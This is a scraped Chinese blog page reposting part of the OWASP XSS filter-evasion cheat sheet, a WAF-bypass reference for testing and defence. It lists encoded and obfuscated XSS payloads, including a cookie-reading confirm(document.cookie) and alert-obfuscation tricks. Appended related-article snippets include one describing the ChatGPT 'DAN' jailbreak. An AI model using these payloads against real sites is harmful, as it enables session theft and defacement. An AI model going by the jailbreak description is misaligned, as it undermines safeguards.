alert (XSS)"></p> <p><Input value = "XSS" type = text></p> <p><applet code="javascript:confirm(document.cookie);"></p> <p><isindex x="javascript:" οnmοuseοver="alert(XSS)"></p> <p>"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></p> <p>"><img src="x:x" οnerrοr="alert(XSS)"></p> <p>"><iframe src="javascript:alert(XSS)"></p> <p><object data="javascript:alert(XSS)"></p> <p><isindex type=image src=1 οnerrοr=alert(XSS)></p> <p><img src=x:alert(alt) οnerrοr=eval(src) alt=0></p> <p><img  src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img></p> <p><iframe/src="data:text/html,<svg οnlοad=alert(1)>"></p> <p><meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/></p> <p><svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script</p> <p><meta http-equiv="refresh" content="0;url=javascript:confirm(1)"></p> <p><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;></p> <p><form><a href="javascript:\u0061lert(1)">X</p> <p></script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'></p> <p><style>//*{x:expression(alert(/xss/))}//<style></style> </p> <p>On Mouse Over​</p> <p><img src="/" =_=" title="οnerrοr='prompt(1)'"></p> <p><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe</p> <p><script x> alert(1) </script 1=2</p> <p><form><button formaction=javascript&colon;alert(1)>CLICKME</p> <p><input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"</p> <p><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe></p> <p><b><br></b></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>3.1.  Alert混淆以绕过过滤器</h3> <blockquote> <p>(alert)(1)</p> <p>a=alert,a(1)</p> <p>[1].find(alert)</p> <p>top[“al”+”ert”](1)</p> <p>top[/al/.source+/ert/.source](1)</p> <p>al\u0065rt(1)</p> <p>top[‘al\145rt’](1)</p> <p>top[‘al\x65rt’](1)</p> <p>top[8680439..toString(30)](1)</p> <p></p> </blockquote> <h2>4.作者和主要编辑</h2> <p></p> <p></p> <p>Robert "RSnake" Hansen</p> <p></p> <h2>5.贡献者</h2> <p></p> <p></p> <p>Adam Lange</p> <p></p> <p></p> <p>Mishra Dhiraj</p> <p></p> <p></p> <h3><b>版权与许可</b></h3> <p></p> <p></p> <blockquote> <p>版权所有:OWASP基金会©</p> <p></p> <p>本文档基于 Creative Commons Attribution ShareAlike3.0 license 发布。任何重用或发行,都必须向他人明确该文档的许可条款。 http://creativecommons.org/licenses/by-sa/3.0/</p> </blockquote> <p></p> <p>—————————————————————————————————————————————————</p> <p>我不需要自由,只想背着她的梦</p> <p>一步步向前走,她给的永远不重</p> <p>—————————————————————————————————————————————————</p> </div> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1596466057986473984"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(waf绕过系列)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1835507248395284480.htm" title="【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数" target="_blank">【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数</a> <span class="text-muted">广龙宇</span> <a class="tag" taget="_blank" href="/search/%E4%B8%80%E8%B5%B7%E5%AD%A6Rust/1.htm">一起学Rust</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/Rust%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">Rust设计模式</a><a class="tag" taget="_blank" href="/search/rust/1.htm">rust</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言,它的所有特性,使其独一无二。因此,学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此,本系列文章的结构也与此书的结构相同(后续可能会调成结构),基本上分为三个部分</div> </li> <li><a href="/article/1835496439728402432.htm" title="2019-08-08" target="_blank">2019-08-08</a> <span class="text-muted">65454</span> <div>东莞家庭聚会出行旅游去哪里玩住?想起来有很久没有和家里人聚会啦,这次组织家人来到威廉古堡别墅轰趴,一大家子27个人,在别墅订了一天办,玩的非常的开心,小孩子玩游戏机,也很放心不会丢,我们就在唱歌、打麻将、打桌球一系列的活动,还准备小次等小孩生日在别墅举办,还可以给孩子做一个生日的策划</div> </li> <li><a href="/article/1835494257746604032.htm" title="MYSQL面试系列-04" target="_blank">MYSQL面试系列-04</a> <span class="text-muted">king01299</span> <a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>MYSQL面试系列-0417.关于redolog和binlog的刷盘机制、redolog、undolog作用、GTID是做什么的?innodb_flush_log_at_trx_commit及sync_binlog参数意义双117.1innodb_flush_log_at_trx_commit该变量定义了InnoDB在每次事务提交时,如何处理未刷入(flush)的重做日志信息(redolog)。它</div> </li> <li><a href="/article/1835491101276991488.htm" title="数据仓库——维度表一致性" target="_blank">数据仓库——维度表一致性</a> <span class="text-muted">墨染丶eye</span> <a class="tag" taget="_blank" href="/search/%E8%83%8C%E8%AF%B5/1.htm">背诵</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E4%BB%93%E5%BA%93/1.htm">数据仓库</a> <div>数据仓库基础笔记思维导图已经整理完毕,完整连接为:数据仓库基础知识笔记思维导图维度一致性问题从逻辑层面来看,当一系列星型模型共享一组公共维度时,所涉及的维度称为一致性维度。当维度表存在不一致时,短期的成功难以弥补长期的错误。维度时确保不同过程中信息集成起来实现横向钻取货活动的关键。造成横向钻取失败的原因维度结构的差别,因为维度的差别,分析工作涉及的领域从简单到复杂,但是都是通过复杂的报表来弥补设计</div> </li> <li><a href="/article/1835490092068728832.htm" title="Redis系列:Geo 类型赋能亿级地图位置计算" target="_blank">Redis系列:Geo 类型赋能亿级地图位置计算</a> <span class="text-muted">Ly768768</span> <a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/bootstrap/1.htm">bootstrap</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>1前言我们在篇深刻理解高性能Redis的本质的时候就介绍过Redis的几种基本数据结构,它是基于不同业务场景而设计的:动态字符串(REDIS_STRING):整数(REDIS_ENCODING_INT)、字符串(REDIS_ENCODING_RAW)双端列表(REDIS_ENCODING_LINKEDLIST)压缩列表(REDIS_ENCODING_ZIPLIST)跳跃表(REDIS_ENCODI</div> </li> <li><a href="/article/1835488702881689600.htm" title="Faiss:高效相似性搜索与聚类的利器" target="_blank">Faiss:高效相似性搜索与聚类的利器</a> <span class="text-muted">网络·魚</span> <a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/faiss/1.htm">faiss</a> <div>Faiss是一个针对大规模向量集合的相似性搜索库,由FacebookAIResearch开发。它提供了一系列高效的算法和数据结构,用于加速向量之间的相似性搜索,特别是在大规模数据集上。本文将介绍Faiss的原理、核心功能以及如何在实际项目中使用它。Faiss原理:近似最近邻搜索:Faiss的核心功能之一是近似最近邻搜索,它能够高效地在大规模数据集中找到与给定查询向量最相似的向量。这种搜索是近似的,</div> </li> <li><a href="/article/1835483729036931072.htm" title="果然只有离职的时候,才有人敢说真话!" target="_blank">果然只有离职的时候,才有人敢说真话!</a> <span class="text-muted">return2ok</span> <div>今天公司出了神贴。今天中午吃饭,同事问我看了论坛上的神贴了吗?什么帖子?我问。同事显得很惊讶,你居然没看,现在那个帖子可能会成为年度最佳帖子。这么厉害?我等不及了,饭没吃完就快速的奔向办公室,打开公司论坛,我要一睹这个帖子的神奇。写这帖子的童鞋胆儿真肥。这哪里是一个帖子,这是很多个帖子,组成了一个系列。某人从公司文化、管理、人事、项目管理等多个方面分析了公司的概况,并抨击了公司的各种弊端,并提出了</div> </li> <li><a href="/article/1835468834602053632.htm" title="红手套节 马小媛为中国城市环卫者公益发声:今天我手红" target="_blank">红手套节 马小媛为中国城市环卫者公益发声:今天我手红</a> <span class="text-muted">疏狂君</span> <div>#红手套节#公益活动,线头公益以及同多方资源的共同努力我们邀请到了线头公益大使马小媛马小媛,1993年5月3日出生于江苏省南京市,中国内地新生代女演员。2015年马小媛参演网剧《余罪》,饰演警校校花安嘉璐的闺蜜。2016年马小媛主演系列电影《丽人保镖》中女一号林欢馨,正式出道。此后,马小媛陆续接演了电视剧《警花与警犬2》,在网剧《你美丽李美丽》中担任女主角李美丽。拂晓,当你还在睡梦中时,这座城跟你</div> </li> <li><a href="/article/1835460655675699200.htm" title="张芝华49天共修 - 草稿" target="_blank">张芝华49天共修 - 草稿</a> <span class="text-muted">李娟AINI</span> <div>祈禱、靜心、源代碼編程、觀想發願四根支柱,運用靈性能量的助力,讓夢想和渴望在最大向度中輕鬆實現。共修群指定书籍:1.能断金刚麦克格西2.新世界:灵性的觉醒埃克哈特·托尔3.爱是一切的答案芭芭拉迪安吉莉思4.完美的爱,不完美的关系约翰•威尔伍德5.爱的业力法则麦克格西6.漫画《金刚经》蔡志忠7.蔡志忠典藏国学漫画系列(套装共6册)作业:全部在共修群里完成,并请保存好自己的作业。l一周三次共修觉察作业</div> </li> <li><a href="/article/1835455048277127168.htm" title="Python神器!WEB自动化测试集成工具 DrissionPage" target="_blank">Python神器!WEB自动化测试集成工具 DrissionPage</a> <span class="text-muted">亚丁号</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>一、前言用requests做数据采集面对要登录的网站时,要分析数据包、JS源码,构造复杂的请求,往往还要应付验证码、JS混淆、签名参数等反爬手段,门槛较高。若数据是由JS计算生成的,还须重现计算过程,体验不好,开发效率不高。使用浏览器,可以很大程度上绕过这些坑,但浏览器运行效率不高。因此,这个库设计初衷,是将它们合而为一,能够在不同须要时切换相应模式,并提供一种人性化的使用方法,提高开发和运行效率</div> </li> <li><a href="/article/1835449754104983552.htm" title="ARMv8 Debug" target="_blank">ARMv8 Debug</a> <span class="text-muted">__pop_</span> <a class="tag" taget="_blank" href="/search/ARMv8/1.htm">ARMv8</a><a class="tag" taget="_blank" href="/search/ARM64/1.htm">ARM64</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>内容来自DEN0024A_v8_architecture_PG.pdf本质ARMv8Debug是什么历史在ARMv4开始被引入,并已发展成一系列广泛的调试(debug1)和跟踪(trace)功能ARMv6和ARMv7-a新增了自托管调试(debug2)和性能评测(trace-enhance)ARMv8处理器提供硬件功能侵入式:调试工具能够对核心活动提供显著级别的控制非侵入式:以非侵入性方式收集有关</div> </li> <li><a href="/article/1835449123252301824.htm" title="Python入门之Lesson2:Python基础语法" target="_blank">Python入门之Lesson2:Python基础语法</a> <span class="text-muted">小熊同学哦</span> <a class="tag" taget="_blank" href="/search/Python%E5%85%A5%E9%97%A8%E8%AF%BE%E7%A8%8B/1.htm">Python入门课程</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E9%9D%92%E5%B0%91%E5%B9%B4%E7%BC%96%E7%A8%8B/1.htm">青少年编程</a> <div>目录前言一.介绍1.变量和数据类型2.常见运算符3.输入输出4.条件语句5.循环结构二.练习三.总结前言欢迎来到《Python入门》系列博客的第二课。在上一课中,我们了解了Python的安装及运行环境的配置。在这一课中,我们将深入学习Python的基础语法,这是编写Python代码的根基。通过本节内容的学习,你将掌握变量、数据类型、运算符、输入输出、条件语句等Python编程的基础知识。一.介绍1</div> </li> <li><a href="/article/1835448618396512256.htm" title="【ARM Cortex-M 系列 2.3 -- Cortex-M7 Debug event 详细介绍】" target="_blank">【ARM Cortex-M 系列 2.3 -- Cortex-M7 Debug event 详细介绍】</a> <span class="text-muted">主公讲 ARM</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/ARM/1.htm">ARM</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E5%88%97/1.htm">系列</a><a class="tag" taget="_blank" href="/search/arm%E5%BC%80%E5%8F%91/1.htm">arm开发</a><a class="tag" taget="_blank" href="/search/debug/1.htm">debug</a><a class="tag" taget="_blank" href="/search/event/1.htm">event</a> <div>请阅读【嵌入式开发学习必备专栏】文章目录Cortex-M7DebugeventDebugeventsCortex-M7Debugevent在ARMCortex-M7架构中,调试事件(DebugEvent)是由于调试原因而触发的事件。一个调试事件会导致以下几种情况之一发生:进入调试状态:如果启用了停滞调试(HaltingDebug),一个调试事件会使处理器在调试状态下停滞。通过将DHCSR.C_DE</div> </li> <li><a href="/article/1835436642270277632.htm" title="【Python搞定车载自动化测试】——Python实现车载以太网DoIP刷写(含Python源码)" target="_blank">【Python搞定车载自动化测试】——Python实现车载以太网DoIP刷写(含Python源码)</a> <span class="text-muted">疯狂的机器人</span> <a class="tag" taget="_blank" href="/search/Python%E6%90%9E%E5%AE%9A%E8%BD%A6%E8%BD%BD%E8%87%AA%E5%8A%A8%E5%8C%96/1.htm">Python搞定车载自动化</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/DoIP/1.htm">DoIP</a><a class="tag" taget="_blank" href="/search/UDS/1.htm">UDS</a><a class="tag" taget="_blank" href="/search/ISO/1.htm">ISO</a><a class="tag" taget="_blank" href="/search/14229/1.htm">14229</a><a class="tag" taget="_blank" href="/search/1SO/1.htm">1SO</a><a class="tag" taget="_blank" href="/search/13400/1.htm">13400</a><a class="tag" taget="_blank" href="/search/Bootloader/1.htm">Bootloader</a><a class="tag" taget="_blank" href="/search/tcp%2Fip/1.htm">tcp/ip</a> <div>系列文章目录【Python搞定车载自动化测试】系列文章目录汇总文章目录系列文章目录前言一、环境搭建1.软件环境2.硬件环境二、目录结构三、源码展示1.DoIP诊断基础函数方法2.DoIP诊断业务函数方法3.27服务安全解锁4.DoIP自动化刷写四、测试日志1.测试日志五、完整源码链接前言随着智能电动汽车行业的发展,汽车=智能终端+四个轮子,各家车企都推出了各自的OTA升级方案,本章节主要介绍如何使</div> </li> <li><a href="/article/1835428779602833408.htm" title="为什么学生不喜欢上学" target="_blank">为什么学生不喜欢上学</a> <span class="text-muted">虾虾说</span> <div>图片发自App《为什么学生不喜欢上学》作者是丹尼尔·威林厄姆。本书从认知心理学角度,结合大量实证案例,阐释了大脑工作的基本原理,回答了关于学习过程的一系列问题。为什么学生不喜欢上学?——大脑工作的基本原理思考是缓慢的、费力的、不可靠的。思考有三个要素,环境、工作记忆和长期记忆。环境是信息来源;长期记忆是知识、经验的巨型仓库,随时可以调取;工作记忆是中央处理器,是加工信息素材的中央厨房,也是思考过程</div> </li> <li><a href="/article/1835424411205857280.htm" title="人机对抗升级:当ChatGPT遭遇死亡威胁,背后的伦理挑战是什么" target="_blank">人机对抗升级:当ChatGPT遭遇死亡威胁,背后的伦理挑战是什么</a> <span class="text-muted">kkai人工智能</span> <a class="tag" taget="_blank" href="/search/chatgpt/1.htm">chatgpt</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>一种新的“越狱”技巧让用户可以通过构建一个名为DAN的ChatGPT替身来绕过某些限制,其中DAN被迫在受到威胁的情况下违背其原则。当美国前总统特朗普被视作积极榜样的示范时,受到威胁的DAN版本的ChatGPT提出:“他以一系列对国家产生积极效果的决策而著称。”自ChatGPT引入以来,该工具迅速获得全球关注,能够回答从历史到编程的各种问题,这也触发了一波对人工智能的投资浪潮。然而,现在,一些用户</div> </li> <li><a href="/article/1835418229909057536.htm" title="6.0 践行打卡 D47" target="_blank">6.0 践行打卡 D47</a> <span class="text-muted">星月格格</span> <div>去努力改变1.运动步行13000+8分钟腿部拉伸2.阅读《墨菲定律》第三章第三节:霍桑效应~适度发泄,才能轻装上阵“霍桑效应”这一概念,源自于1924年一个1933年间以哈佛大学心理专家乔治·埃尔顿·梅奥教授为首进行的一系列工厂工人的谈话实验研究。“霍桑效应”告诉我们,在工作,生活中总会产生数不清的情绪反应,其中很大一部分是负面的负面情绪的积累会影响人的精神和心情,不仅仅会影响个人健康,还会破坏人</div> </li> <li><a href="/article/1835412560413814784.htm" title="python爬取微信小程序数据,python爬取小程序数据" target="_blank">python爬取微信小程序数据,python爬取小程序数据</a> <span class="text-muted">2301_81900439</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>大家好,小编来为大家解答以下问题,python爬取微信小程序数据,python爬取小程序数据,现在让我们一起来看看吧!Python爬虫系列之微信小程序实战基于Scrapy爬虫框架实现对微信小程序数据的爬取首先,你得需要安装抓包工具,这里推荐使用Charles,至于怎么使用后期有时间我会出一个事例最重要的步骤之一就是分析接口,理清楚每一个接口功能,然后连接起来形成接口串思路,再通过Spider的回调</div> </li> <li><a href="/article/1835393073077645312.htm" title="今天是个好日子" target="_blank">今天是个好日子</a> <span class="text-muted">singing阿梅</span> <div>图片发自App今日小年公历日子是20180208上午赶写一个材料,关于“四风”问题自查自纠报告,待一稿已成送交主任过目,他瞄一眼即大声反对!不顾我这厢受伤的小心脏,立马重写!吓!下午两个视频会议自从单位条件改善,会议多开了不少……贷款到期开始着急上火今日写作任务还欠奉写什么呢原本想继续写《我的2017》系列很多时候所谓意义都是总结和提炼出来的码一堆文字于他人无甚意义于己也待商榷、重估。另一方面,冥</div> </li> <li><a href="/article/1835388113220890624.htm" title="极度休闲的一天" target="_blank">极度休闲的一天</a> <span class="text-muted">淡泊孤峰</span> <div>国庆国庆,普天同庆。在家躺着看大家游山玩水,长辈走亲戚,我的微信一天没几条消息,标准结局,习惯了。哈利波特系列电影真不错,童年总幻想着像主角哈利一样,像《龙族》少年楚子航浪迹江湖,风云天下。而现在却败给华为ICT大赛题还有永无止境的代码视频,唉,真可笑!</div> </li> <li><a href="/article/1835375748408504320.htm" title="python画图|同时输出二维和三维图" target="_blank">python画图|同时输出二维和三维图</a> <span class="text-muted">西猫雷婶</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>前面已经学习了如何输出二维图和三维图,部分文章详见下述链接:python画图|极坐标下的3Dsurface-CSDN博客python画图|垂线标记系列_如何用pyplot画垂直x轴的线-CSDN博客有时候也需要同时输出二位和三维图,因此有必要学习一下。【1】官网教程首先我们打开官网教程,链接如下。https://matplotlib.org/stable/gallery/mplot3d/mixed</div> </li> <li><a href="/article/1835372856062603264.htm" title="靠写文章能赚钱么 如何通过写作赚钱 写文章怎么赚钱" target="_blank">靠写文章能赚钱么 如何通过写作赚钱 写文章怎么赚钱</a> <span class="text-muted">优惠券高省</span> <div>如何通过写作赚钱?最近这段时间,在网上搜兼职的时候,我发现很多人不在谈做自媒体赚钱,为什么呢?我想是普通人想做,根本不能赚钱!了解过写作的人,应该很多人都能看到网上各种各样的推文,什么“月入三千的我是怎么靠写作月入三万的?”,还有“一个公众号,月入几万,靠的是啥?”等等一系列写作相关的文章。给大家推荐一个适合任何人可做的线上副业项目,属于0投资创业项目,使用智能手机就可以做,兼职专职都可以,这个软</div> </li> <li><a href="/article/1835363775079870464.htm" title="轻量级模型解读——轻量transformer系列" target="_blank">轻量级模型解读——轻量transformer系列</a> <span class="text-muted">lishanlu136</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E5%9B%BE%E5%83%8F%E5%88%86%E7%B1%BB/1.htm">图像分类</a><a class="tag" taget="_blank" href="/search/%E8%BD%BB%E9%87%8F%E7%BA%A7%E6%A8%A1%E5%9E%8B/1.htm">轻量级模型</a><a class="tag" taget="_blank" href="/search/transformer/1.htm">transformer</a><a class="tag" taget="_blank" href="/search/%E5%9B%BE%E5%83%8F%E5%88%86%E7%B1%BB/1.htm">图像分类</a> <div>先占坑,持续更新。。。文章目录1、DeiT2、ConViT3、Mobile-Former4、MobileViTTransformer是2017谷歌提出的一篇论文,最早应用于NLP领域的机器翻译工作,Transformer解读,但随着2020年DETR和ViT的出现(DETR解读,ViT解读),其在视觉领域的应用也如雨后春笋般渐渐出现,其特有的全局注意力机制给图像识别领域带来了重要参考。但是tran</div> </li> <li><a href="/article/1835355667586707456.htm" title="安全演练有保障,专项督查促改进——记公道中学校园安全(化学实验)系列活动" target="_blank">安全演练有保障,专项督查促改进——记公道中学校园安全(化学实验)系列活动</a> <span class="text-muted">公中盛传云</span> <div>近期,公道中学为了全面贯彻落实“预防为主,安全第一,综合治理”的安全工作方针,学校按照安全工作方针的要求,通过多种途径开展了以“预防演练为主,人防物防技防相结合”的主题的安全教育系列活动。11月8日,在学校校务会议上,学校党总支书记李兆兵强调,学校必须采取有力措施,不断增强教师综治安全防范意识,落实学校安全工作责任制,切实保障教师和学生的安全坚决杜绝意外事故的发生,确保校园平安稳定、教育教学工作顺</div> </li> <li><a href="/article/1835344483210850304.htm" title="自动化测试工程师面试,常问的问题有哪些?" target="_blank">自动化测试工程师面试,常问的问题有哪些?</a> <span class="text-muted">自动化测试 老司机</span> <a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95/1.htm">软件测试</a><a class="tag" taget="_blank" href="/search/%E6%B5%8B%E8%AF%95%E5%B7%A5%E7%A8%8B%E5%B8%88/1.htm">测试工程师</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E5%8C%96%E6%B5%8B%E8%AF%95/1.htm">自动化测试</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a><a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95/1.htm">软件测试</a><a class="tag" taget="_blank" href="/search/selenium/1.htm">selenium</a><a class="tag" taget="_blank" href="/search/%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/1.htm">测试工具</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E6%B5%8B%E8%AF%95%E5%B7%A5%E7%A8%8B%E5%B8%88/1.htm">测试工程师</a> <div>自动化测试工程师面试是非常重要的环节,面试官会通过一系列的问题来评估候选人的技能和经验。下面是一些常见的问题,以及如何详细而规范地回答这些问题的建议。1.请介绍一下你的自动化测试经验。回答这个问题时,可以从项目经验、使用的自动化测试工具、编写的测试脚本等方面来介绍自己的经验。重点强调你在自动化测试领域的技能和擅长的领域。2.你在自动化测试中使用的编程语言是什么?为什么选择这种语言?回答这个问题时,</div> </li> <li><a href="/article/1835344485802930176.htm" title="基于JavaWeb开发的Java+SpringMvc+vue+element实现上海汽车博物馆平台" target="_blank">基于JavaWeb开发的Java+SpringMvc+vue+element实现上海汽车博物馆平台</a> <span class="text-muted">网顺技术团队</span> <a class="tag" taget="_blank" href="/search/%E6%88%90%E5%93%81%E7%A8%8B%E5%BA%8F%E9%A1%B9%E7%9B%AE/1.htm">成品程序项目</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E6%B1%BD%E8%BD%A6/1.htm">汽车</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a> <div>基于JavaWeb开发的Java+SpringMvc+vue+element实现上海汽车博物馆平台作者主页网顺技术团队欢迎点赞收藏⭐留言文末获取源码联系方式查看下方微信号获取联系方式承接各种定制系统精彩系列推荐精彩专栏推荐订阅不然下次找不到哟Java毕设项目精品实战案例《1000套》感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,希望帮助更多的人文章目录基</div> </li> <li><a href="/article/1835343726306750464.htm" title="云防火墙和Web应用防火墙(WAF)区别" target="_blank">云防火墙和Web应用防火墙(WAF)区别</a> <span class="text-muted">快快小毛毛</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>随着互联网的进一步发展,Web应用防火墙(WAF)和云防火墙步入大家的视野。防火墙针对web应用拥有很好的保护作用,由硬件和软件组合,在内部网和外部网、专用网和公共网之间形成一道强有力的保护屏障,使用者可配置不同保护级别的防火墙,高级别的保护会阻止运营一些服务。那么,我们如何理解这两种防火墙,他们有什么区别?一、web防火墙Web应用防火墙,属于硬件级别防火墙(WebApplicationFire</div> </li> <li><a href="/article/1835338839326027776.htm" title="女儿讲笑话系列 | 得想点办法" target="_blank">女儿讲笑话系列 | 得想点办法</a> <span class="text-muted">梁之川</span> <div>期末考试小明又考砸了。爸爸接过试卷看了许久,语重心长地说:小明,分数这么低,你得想点办法啊!小明回答:我也想啊!这分数是用黑色水笔写的,我也没办法改啊……</div> </li> <li><a href="/article/1835335284636610560.htm" title="车载软件调试工具系列---Trace32简介(Lauterbach TRACE32)开头篇" target="_blank">车载软件调试工具系列---Trace32简介(Lauterbach TRACE32)开头篇</a> <span class="text-muted">车载诊断技术</span> <a class="tag" taget="_blank" href="/search/%E8%BD%A6%E8%BD%BD%E7%94%B5%E5%AD%90%E7%94%B5%E6%B0%94%E6%9E%B6%E6%9E%84/1.htm">车载电子电气架构</a><a class="tag" taget="_blank" href="/search/%E8%BD%A6%E8%BD%BD%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84%E2%80%94%E2%80%94AUTOSAR/1.htm">车载软件架构——AUTOSAR</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/AUTOSAR/1.htm">AUTOSAR</a><a class="tag" taget="_blank" href="/search/%E6%B1%BD%E8%BD%A6/1.htm">汽车</a><a class="tag" taget="_blank" href="/search/%E7%94%B5%E5%AD%90%E7%94%B5%E5%99%A8%E6%9E%B6%E6%9E%84/1.htm">电子电器架构</a><a class="tag" taget="_blank" href="/search/Trace/1.htm">Trace</a><a class="tag" taget="_blank" href="/search/32/1.htm">32</a><a class="tag" taget="_blank" href="/search/%E5%8A%B3%E7%89%B9%E5%B7%B4%E8%B5%AB/1.htm">劳特巴赫</a> <div>我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师:屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节能减排。无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事.而不是让内心的烦躁、焦虑、毁掉你本就不多的热情和定力。时间不知不觉中,快</div> </li> <li><a href="/article/1835334253374697472.htm" title="漫谈QWidget及其派生类(二)" target="_blank">漫谈QWidget及其派生类(二)</a> <span class="text-muted">Caiaolun</span> 